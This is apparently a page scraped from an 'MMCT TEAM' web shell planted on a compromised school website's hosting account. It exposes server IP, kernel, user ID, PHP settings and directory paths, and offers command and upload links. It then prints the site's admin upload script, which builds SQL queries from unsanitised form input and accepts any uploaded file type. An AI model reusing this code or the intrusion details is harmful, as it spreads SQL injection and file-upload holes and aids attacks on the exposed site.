MMCT TEAM
Server IP : 62.72.28.201  /  Your IP : 3.149.235.171
Web Server : LiteSpeed
System : Linux in-mum-web1113.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u249650955 ( 249650955)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u249650955/domains/ladyflorencepublicschool.com/public_html/admin_area/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u249650955/domains/ladyflorencepublicschool.com/public_html/admin_area/insert_activity.php
<!DOCTYPE>
<?php
    include("includes/db.php");
?>
<html>
    <head>
        <title>Inserting Product</title>
        <script src="//cdn.ckeditor.com/4.12.1/full/ckeditor.js"></script>
    </head>
    <body>
        <form action="insert_gallery.php" method="post" enctype="multipart/form-data">
            <table align="center" width="100%" border="2" bgcolor="orange">
                <tr align="center">
                    <td colspan="8"><h2 style="padding:10px;">Insert Activity Image Here</h2></td>
                </tr>
                <tr>
                    <td align="center"><b>Categories :</b></td>
                    <td align="center">
                        <select name="categories_id" required>
                            <option value="">Select Categories</option>
                            <option value="Sports">Sports</option>
                            <option value="BachpanWings">Bachpan Wings</option>
                            <option value="TourAndExcursions">Tour and Excursions</option>
                            <option value="ArtAndCraft">Art and Craft</option>
                        </select>
                    </td>
                </tr>
                <tr>
                    <td align="center"><b>Gallery Images :</b></td>
                    <td align="center"><input type="file" name="product_image" required></td>
                </tr>
                <tr align="center">
                    <td colspan="8"><input type="submit" name="insert_post" value="Insert Product" class="btn"></td>
                </tr>
            </table>
        </form>
        <script>
            CKEDITOR.replace( 'notic_title' );
        </script>
        <style>
            td input{
                width: 90%;
                padding: 5px;
                margin: 5px;
            }
            td select{
                width: 90%;
                padding: 5px;
                margin: 5px;
            }
            .img-type{
                padding: 5px;
                border-radius: 10px;
            }
            .btn{
                width: 30%;
                cursor: pointer;
                background: #0009;
                color: #fff;
                padding: 10px;
            }
            .btn:hover{
                background: blue;
            }
            .decri{
                border-radius: 8px;
                resize: none;
            }
        </style>
    </body>
</html>
<?php
  //getting the text data from the fields
    if(isset($_POST['insert_post'])){
        $categories_id = $_POST['categories_id'];
        //getting the image from the field
        $product_image = $_FILES['product_image']['name'];
        $product_image_tmp = $_FILES['product_image']['tmp_name'];
        
        move_uploaded_file($product_image_tmp,"product_images/activity/$product_image");
        
        $insert_product = "insert into activity (categories_id,images) value ('$categories_id','$product_image')";
        $insert_pro = mysqli_query($con, $insert_product);
        if($insert_pro){
            echo "<script>alert('Product Has been inserted!')</script>";
            echo "<script>window.open('index.php?insert_activity','_self')</script>";
        }
    }
?>

MMCT - 2023